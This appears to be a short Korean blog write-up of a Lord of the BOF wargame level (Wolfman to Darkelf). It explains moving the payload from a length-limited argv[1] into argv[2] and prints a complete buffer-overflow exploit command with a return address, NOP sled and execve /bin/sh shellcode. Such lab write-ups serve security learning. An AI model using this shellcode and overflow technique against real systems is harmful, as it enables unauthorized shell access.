정보보안/LOB

[LOB] Level6 (Wolfman->Darkelf)

b1ackhand 2022. 7. 24. 13:57

이번 문제는 저번문제에서 한가지 옵션이 더 추가됬다.

argv[1]의 크기를 제한 두었기 때문에

저번처럼 수천개씩 인자를 넣는것이 불가능해 보인다.

처음에는 argc값도 제한 한줄알고 조금 해맸지만

다시 코드를 보니 argc < 2 일때 제한 한것이기 때문에

argc에 들어갈 문자열을 늘려주면 어떻게 될까 하여 gdb에서 테스트해보았다.

 

 

위의 사진과 같이 argv[1]이후에 이어서 저장되는 모습을 볼 수 있다.

 

./darkelf `python -c 'print "A"*44 + "\x48\xfc\xff\xbf"'` `python -c 'print "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

그렇다면 저번과 같은 원리로 이를 argv[2]를 보내는 것으로 문제를 해결 할 수있다.

 

 

'정보보안 > LOB' 카테고리의 다른 글

[LOB] Level5 (Orc->Wolfman)  (0) 2022.07.24
[LOB] Level4 (Goblin->Orc)  (0) 2022.07.24
[LOB] Level3 (Cobolt->Goblin)  (0) 2022.07.17
[LOB] Level2 (Gremlin->Cobolt)  (0) 2022.07.17
[LOB] Level1 (Gate->Gremlin)  (0) 2022.07.14